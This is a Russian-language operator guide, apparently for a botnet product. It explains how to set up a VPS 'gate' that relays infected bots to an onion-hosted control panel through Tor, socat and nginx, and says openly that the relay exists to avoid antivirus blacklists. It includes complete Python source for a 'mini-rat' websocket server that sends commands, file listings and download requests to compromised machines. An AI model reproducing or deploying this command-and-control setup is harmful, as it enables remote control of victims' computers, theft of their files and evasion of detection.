Гейт нужен для того, чтобы можно было привязать ботов к панели через свой сервер. Время использование одного сервера влияет на детекты. IP сервера, который активно используется, со временем попадает в блек-листы антивирусов. Для настройки подойдёт любой VPS на debian или ubuntu. При нагрузке меньше 500 ботов можно брать сервер с минимальной производительностью. Желательные характеристики - 1 ГБ оперативки(количество места на диске не важно)
Установка
TOR
Для начала надо попробовать установить его командой
apt-get -y install tor
Если не появится сообщение E: Unable to locate package tor
или E: Package 'tor' has no installation candidate
, то установка tor прошла успешно и можно переходить к следующему пункту. В случае появление ошибки apt-get: command not fond
надо либо установить apt в систему, либо поменять дистрибутив. Обычно систему у VPS можно переустановить в его панели управления. Лучше всего подойдёт debian
или ubuntu server
.
Тем, у кого тор не поставился, надо отредактировать источники apt. Сделать это можно через консольный редактор nano
. Зайдите на сайт torproject и из выпадающих меню выберите версию сервера(или наиболее близкую к ней). Затем скопируйте 2 строки под списками и на выполните на сервере команду
nano /etc/apt/sources.list
Перейдите в самый низ и с новой строки вставьте данные с сайта. После этого сохраните файл комбинацией Ctrl + O
и зактойте редактор через Ctrl + X
.
После этого надо добавить ключи для новых репозиториев командами
gpg --keyserver keys.gnupg.net --recv A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89
gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | apt-key add -
И наконец установить необходимый пакет
apt-get update
apt-get -y install tor deb.torproject.org-keyring
socat
В некоторых дистрибутивах он предустановлен. Чтобы проверить, есть ли он, достаточно набрать в консоли socat
, и если вернётся текст со словами exactly 2 addresses required
, то этот пункт можно пропустить
apt-get -y install socat
nginx
apt-get -y install nginx
screen
Он также часто уже есть. Чтобы проверить, достаточно набрать screen
. Если не появится ошибки, то надо нажать enter и выполнить команду exit
apt-get -y install screen
Конфигурация
Туннель к панели
Это способ перенаправлять поступающие данные на .onion сервис. Для начала надо создать под него screen
, чтобы он не занимал терминальную сессию. Для его создания надо выполнить команду
screen -S tunnel
В появившемся терминале надо выполнить команду
socat tcp4-LISTEN:6671,reuseaddr,fork,keepalive,bind=127.0.0.1 SOCKS4A:127.0.0.1:abc.onion:80,socksport=9050
После чего можно выйти нажав Ctrl + A
затем Ctrl + D
Форвардинг
Открываем в редакторе файл конфига сервера командой
nano /etc/nginx/nginx.conf
Тут надо найти строку, которая начинается с http {
и после неё вставить это
server{
proxy_connect_timeout 300;
proxy_send_timeout 300;
proxy_read_timeout 300;
send_timeout 300;
listen 81;
client_max_body_size 512M;
location / {
proxy_pass http://127.0.0.1:6671/raw_in/;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $remote_addr;
# GATE SETTINGS
proxy_set_header Gate-ID private_name;
proxy_set_header Gate-Secret 12345678987654;
}
}
12345678987654
в строке proxy_set_header Gate-Secret
надо заменить на свой персональный ключ(если нет, обратитесь к поддержке). private_name
надо заменить на случайное слово из цифр и букв в 6-12 символов длиной(например, HF87KbbeR9).
Используя Gate-ID
можно управлять ботами через гейт. Знание Gate-Secret
подтверждает право владение данными с ноды и его значения не должен никому разглашаться.
После всех изменений файл надо сохранить Ctrl + O
, Enter
и выйти Ctrl + X
.
Модули
mini-rat
Для работы этого модуля требуется дополнительная настройка. Сначала надо убедиться, что в системе есть python 2. В консоли надо написать
python -V
Должно вернуть
Python 2.*.*
(последние 2 цифры могут быть любыми), то он уже установлен. Если первая цифра версии 3, попробуйте исполнить команду python2 -V
. Если она вернёт правильный результат далее по инструкции пишите всегда её вместо просто python
Затем надо проверить, что в системе есть pip. Выполняем команду
pip -V
Должно вернуть что-то вроде
pip *.*.* from /usr/...
Если результат другой, ставим pip командой
apt-get install python-pip
— Устанавливаем git для загрузки стороннего модуля python
apt-get install -y git
Настройка зависимостей: ставим необходимый пакет в pip командой
pip install git+https://github.com/dpallot/simple-websocket-server.git
После всех настроек создаём скрипт, который будет принимать соединения mini-rat
touch ratserver.py
nano ratserver.py
Вставляем туда содержимое
from SimpleWebSocketServer import SimpleWebSocketServer, WebSocket
import json
import sys
secret = sys.argv[2]
init_pool = []
auth_pool = []
admin_pool = []
pool = {}
class Broker (WebSocket):
def admin_cmd(self, command, **kwargs):
if(command == 'cmd'):
try:
pool[kwargs['target']].sendMessage('cmd,'+kwargs['data'])
return None
except KeyError:
pass
elif command == 'list':
return "list,"+','.join(pool.keys())
elif command == 'ping':
try:
pool[kwargs['target']].sendMessage("ping".decode())
print("Ping", kwargs['target'])
except KeyError:
pass
return None
elif command == 'ls':
try:
pool[kwargs['target']].sendMessage("list,"+kwargs['path'])
except KeyError:
pass
return None
elif command == 'download':
try:
pool[kwargs['target']].sendMessage("download,"+kwargs['path'])
except KeyError:
pass
return None
return "unknown_command"
def handleMessage(self):
if self.admin:
data = json.loads(self.data)
result = self.admin_cmd(**data)
if result:
if sys.version_info >= (3, 0):
self.sendMessage('0,'+result)
else:
self.sendMessage('0,'+result.decode())
return
if self in init_pool:
id = self.data
if id == 'auth_challange_loop':
# init_pool.remove(self)
auth_pool.append(self)
print("Entered auth challange mode")
return
if id == secret:
print("Admin access granted")
self.admin = True
admin_pool.append(self)
if self in auth_pool:
self.sendMessage("0,auth,true".decode())
return
if self in auth_pool:
print("Auth failed")
self.sendMessage("0,auth,false".decode())
return
print("Assign ID", id)
pool[id] = self
self.ID = id
init_pool.remove(self)
for admin in admin_pool:
admin.sendMessage('0,connected,'+self.ID)
else:
for admin in admin_pool:
admin.sendMessage(self.ID+','+self.data)
def handleConnected(self):
print(self.address, 'connected')
self.admin = False
self.ID = None
init_pool.append(self)
def handleClose(self):
if self in auth_pool:
auth_pool.remove(self)
if self in admin_pool:
admin_pool.remove(self)
if self.ID in pool:
for admin in admin_pool:
admin.sendMessage('0,disconnected,'+self.ID)
del pool[self.ID]
if self in init_pool:
init_pool.remove(self)
print(self.address, 'disconnected')
# admin_pool = {key:val for key, val in admin_pool.items() if val != self}
# pool = {key:val for key, val in pool.items() if val != self}
server = SimpleWebSocketServer('', int(sys.argv[1]), Broker)
server.serveforever()
Сохраняем и выходим комбинациями CTRL+O
, ENTER
, CTRL+X
Сейчас и каждый раз после перезапуска сервера надо запускать скрипт в скрине. Для этого создаём скрин командой
screen -S ratserver
И выполняем там команду
python ratserver.py 1100 PASSWORD
Где password надо заменить на любой пароль. Он будет использоваться при входе в интерфейс mini-rat. После запуска команды выходим из скрина комбинацией Ctrl + D
, Ctrl + A
Проверка
Для проверки работы заходим по адресу http://IP_SERVER:81/hello_test